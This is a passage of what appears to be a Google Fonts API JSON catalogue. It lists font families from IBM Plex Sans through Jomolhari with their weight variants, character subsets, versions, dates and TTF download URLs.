Sans","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX-KVElMYYaJe8bpLHnCwDKjbLeEKxIedbzDw.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX8KVElMYYaJe8bpLHnCwDKhdTmdKZMW9PjD3N8.ttf","200":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjR7_MIZmdd_qFmo.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTm2Idscf3vBmpl8A.ttf","300":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjXr8MIZmdd_qFmo.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmvIRscf3vBmpl8A.ttf","regular":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYXgKVElMYYaJe8bpLHnCwDKtdbUFI5NadY.ttf","italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX-KVElMYYaJe8bpLHnCwDKhdTeEKxIedbzDw.ttf","500":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjSL9MIZmdd_qFmo.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTm5IVscf3vBmpl8A.ttf","600":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjQ76MIZmdd_qFmo.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmyIJscf3vBmpl8A.ttf","700":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjWr7MIZmdd_qFmo.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmrINscf3vBmpl8A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Sans Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY7KyKvBgYsMDhM.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8hN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8M_LhakJHhOgBg.ttf","200":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5m6Yvrr4cFFwq5.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8GPqpYMnEhq5H1w.ttf","300":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4C6ovrr4cFFwq5.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8AfppYMnEhq5H1w.ttf","regular":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8lN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHbauwq_jhJsM.ttf","italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYasyKvBgYsMDhM.ttf","500":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5a64vrr4cFFwq5.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8F_opYMnEhq5H1w.ttf","600":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY527Ivrr4cFFwq5.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8HPvpYMnEhq5H1w.ttf","700":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4S7Yvrr4cFFwq5.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8BfupYMnEhq5H1w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizBREVNn1dOx-zrZ2X3pZvkTi182zIZj1bIkNo.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizHREVNn1dOx-zrZ2X3pZvkTiUa41YTi3TNgNq55w.ttf","200":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3Q-hIzoVrBicOg.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4_oyq17jjNOg_oc.ttf","300":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi20-RIzoVrBicOg.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa454xq17jjNOg_oc.ttf","regular":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizDREVNn1dOx-zrZ2X3pZvkThUY0TY7ikbI.ttf","italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizBREVNn1dOx-zrZ2X3pZvkTiUa2zIZj1bIkNo.ttf","500":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3s-BIzoVrBicOg.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa48Ywq17jjNOg_oc.ttf","600":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3A_xIzoVrBicOg.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4-o3q17jjNOg_oc.ttf","700":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi2k_hIzoVrBicOg.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4442q17jjNOg_oc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell DW Pica","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldwpica/v10/2sDGZGRQotv9nbn2qSl0TxXVYNw9ZAPUvi88MQ.ttf","italic":"http://fonts.gstatic.com/s/imfelldwpica/v10/2sDEZGRQotv9nbn2qSl0TxXVYNwNZgnQnCosMXm0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell DW Pica SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldwpicasc/v10/0ybjGCAu5PfqkvtGVU15aBhXz3EUrnTW-BiKEUiBGA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Double Pica","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldoublepica/v10/3XF2EqMq_94s9PeKF7Fg4gOKINyMtZ8rT0S1UL5Ayp0.ttf","italic":"http://fonts.gstatic.com/s/imfelldoublepica/v10/3XF0EqMq_94s9PeKF7Fg4gOKINyMtZ8rf0a_VJxF2p2G8g.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Double Pica SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldoublepicasc/v10/neIazDmuiMkFo6zj_sHpQ8teNbWlwBB_hXjJ4Y0Eeru2dGg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell English","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellenglish/v10/Ktk1ALSLW8zDe0rthJysWrnLsAz3F6mZVY9Y5w.ttf","italic":"http://fonts.gstatic.com/s/imfellenglish/v10/Ktk3ALSLW8zDe0rthJysWrnLsAzHFaOdd4pI59zg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell English SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellenglishsc/v10/a8IENpD3CDX-4zrWfr1VY879qFF05pZLO4gOg0shzA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell French Canon","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellfrenchcanon/v10/-F6ufiNtDWYfYc-tDiyiw08rrghJszkK6coVPt1ozoPz.ttf","italic":"http://fonts.gstatic.com/s/imfellfrenchcanon/v10/-F6gfiNtDWYfYc-tDiyiw08rrghJszkK6foXNNlKy5PzzrU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell French Canon SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellfrenchcanonsc/v10/FBVmdCru5-ifcor2bgq9V89khWcmQghEURY7H3c0UBCVIVqH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Great Primer","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellgreatprimer/v10/bx6aNwSJtayYxOkbYFsT6hMsLzX7u85rJorXvDo3SQY1.ttf","italic":"http://fonts.gstatic.com/s/imfellgreatprimer/v10/bx6UNwSJtayYxOkbYFsT6hMsLzX7u85rJrrVtj4VTBY1N6U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Great Primer SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellgreatprimersc/v10/ga6daxBOxyt6sCqz3fjZCTFCTUDMHagsQKdDTLf9BXz0s8FG.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ibarra Real Nova","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXdg5MDtVT9TWIvS.ttf","500":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXdS5MDtVT9TWIvS.ttf","600":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXe-48DtVT9TWIvS.ttf","700":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXeH48DtVT9TWIvS.ttf","italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKopyiuXztxXZvSkTo.ttf","500italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKopxquXztxXZvSkTo.ttf","600italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKop_apXztxXZvSkTo.ttf","700italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKop8-pXztxXZvSkTo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Iceberg","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/iceberg/v8/8QIJdijAiM7o-qnZuIgOq7jkAOw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Iceland","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/iceland/v9/rax9HiuFsdMNOnWPWKxGADBbg0s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Imprima","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imprima/v9/VEMxRoN7sY3yuy-7-oWHyDzktPo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Inconsolata","variants":["200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v20","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU8aRr8lleY2co.ttf","300":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp9s8aRr8lleY2co.ttf","regular":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp4U8aRr8lleY2co.ttf","500":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp7c8aRr8lleY2co.ttf","600":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp1s7aRr8lleY2co.ttf","700":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp2I7aRr8lleY2co.ttf","800":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU7aRr8lleY2co.ttf","900":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lppyw7aRr8lleY2co.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Inder","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/inder/v9/w8gUH2YoQe8_4vq6pw-P3U4O.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Indie Flower","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/indieflower/v12/m8JVjfNVeKWVnh3QMuKkFcZlbkGG1dKEDw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Inika","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/inika/v9/rnCm-x5X3QP-phTHRcc2s2XH.ttf","700":"http://fonts.gstatic.com/s/inika/v9/rnCr-x5X3QP-pix7auM-mHnOSOuk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inknut Antiqua","variants":["300","regular","500","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2vwrj5bBoIYJNf.ttf","regular":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GSYax7VC4ot_qNB4nYpBdaKXUD6pzxRwYB.ttf","500":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU33w7j5bBoIYJNf.ttf","600":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU3bxLj5bBoIYJNf.ttf","700":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2_xbj5bBoIYJNf.ttf","800":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2jxrj5bBoIYJNf.ttf","900":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2Hx7j5bBoIYJNf.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inria Sans","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/inriasans/v2/ptRPTiqXYfZMCOiVj9kQ3ELaDQtFqeY3fX4.ttf","300italic":"http://fonts.gstatic.com/s/inriasans/v2/ptRRTiqXYfZMCOiVj9kQ1OzAgQlPrcQybX4pQA.ttf","regular":"http://fonts.gstatic.com/s/inriasans/v2/ptRMTiqXYfZMCOiVj9kQ5O7yKQNute8.ttf","italic":"http://fonts.gstatic.com/s/inriasans/v2/ptROTiqXYfZMCOiVj9kQ1Oz4LSFrpe8uZA.ttf","700":"http://fonts.gstatic.com/s/inriasans/v2/ptRPTiqXYfZMCOiVj9kQ3FLdDQtFqeY3fX4.ttf","700italic":"http://fonts.gstatic.com/s/inriasans/v2/ptRRTiqXYfZMCOiVj9kQ1OzAkQ5PrcQybX4pQA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Inria Serif","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/inriaserif/v2/fC14PYxPY3rXxEndZJAzN3wAVQjFhFyta3xN.ttf","300italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC16PYxPY3rXxEndZJAzN3SuT4THjliPbmxN0_E.ttf","regular":"http://fonts.gstatic.com/s/inriaserif/v2/fC1lPYxPY3rXxEndZJAzN0SsfSzNr0Ck.ttf","italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC1nPYxPY3rXxEndZJAzN3SudyjvqlCkcmU.ttf","700":"http://fonts.gstatic.com/s/inriaserif/v2/fC14PYxPY3rXxEndZJAzN3wQUgjFhFyta3xN.ttf","700italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC16PYxPY3rXxEndZJAzN3SuT5TAjliPbmxN0_E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inter","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyeMZhrib2Bg-4.ttf","200":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyfMZhrib2Bg-4.ttf","300":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuOKfMZhrib2Bg-4.ttf","regular":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfMZhrib2Bg-4.ttf","500":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuI6fMZhrib2Bg-4.ttf","600":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuGKYMZhrib2Bg-4.ttf","700":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuFuYMZhrib2Bg-4.ttf","800":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyYMZhrib2Bg-4.ttf","900":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuBWYMZhrib2Bg-4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Irish Grover","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/irishgrover/v10/buExpoi6YtLz2QW7LA4flVgf-P5Oaiw4cw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Istok Web","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/istokweb/v15/3qTvojGmgSyUukBzKslZAWF-9kIIaQ.ttf","italic":"http://fonts.gstatic.com/s/istokweb/v15/3qTpojGmgSyUukBzKslpA2t61EcYaQ7F.ttf","700":"http://fonts.gstatic.com/s/istokweb/v15/3qTqojGmgSyUukBzKslhvU5a_mkUYBfcMw.ttf","700italic":"http://fonts.gstatic.com/s/istokweb/v15/3qT0ojGmgSyUukBzKslpA1PG-2MQQhLMMygN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Italiana","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/italiana/v9/QldNNTtLsx4E__B0XTmRY31Wx7Vv.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Italianno","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/italianno/v10/dg4n_p3sv6gCJkwzT6Rnj5YpQwM-gg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Itim","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/itim/v4/0nknC9ziJOYewARKkc7ZdwU.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Jacques Francois","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jacquesfrancois/v8/ZXu9e04ZvKeOOHIe1TMahbcIU2cgmcPqoeRWfbs.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jacques Francois Shadow","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jacquesfrancoisshadow/v9/KR1FBtOz8PKTMk-kqdkLVrvR0ECFrB6Pin-2_q8VsHuV5ULS.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jaldi","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/jaldi/v7/or3sQ67z0_CI30NUZpD_B6g8.ttf","700":"http://fonts.gstatic.com/s/jaldi/v7/or3hQ67z0_CI33voSbT3LLQ1niPn.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"JetBrains Mono","variants":["100","200","300","regular","500","600","700","800","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-12-02","files":{"100":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8yK1jPVmUsaaDhw.ttf","200":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8SKxjPVmUsaaDhw.ttf","300":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8lqxjPVmUsaaDhw.ttf","regular":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8yKxjPVmUsaaDhw.ttf","500":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8-qxjPVmUsaaDhw.ttf","600":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8FqtjPVmUsaaDhw.ttf","700":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8L6tjPVmUsaaDhw.ttf","800":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8SKtjPVmUsaaDhw.ttf","100italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-Lf1OQk6OThxPA.ttf","200italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO8LflOQk6OThxPA.ttf","300italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO_VflOQk6OThxPA.ttf","italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-LflOQk6OThxPA.ttf","500italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-5flOQk6OThxPA.ttf","600italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO9VeVOQk6OThxPA.ttf","700italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO9seVOQk6OThxPA.ttf","800italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO8LeVOQk6OThxPA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Jim Nightshade","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jimnightshade/v8/PlIkFlu9Pb08Q8HLM1PxmB0g-OS4V3qKaMxD.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Jockey One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/jockeyone/v10/HTxpL2g2KjCFj4x8WI6ArIb7HYOk4xc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Jolly Lodger","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jollylodger/v8/BXRsvFTAh_bGkA1uQ48dlB3VWerT3ZyuqA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jomhuria","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/jomhuria/v9/Dxxp8j-TMXf-llKur2b1MOGbC3Dh.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jomolhari","variants":["regular"],"subsets":["latin","tibetan"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jomolhari/v2/EvONzA1M1Iw_CBd2hsQCF1IZKq5INg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Josefin 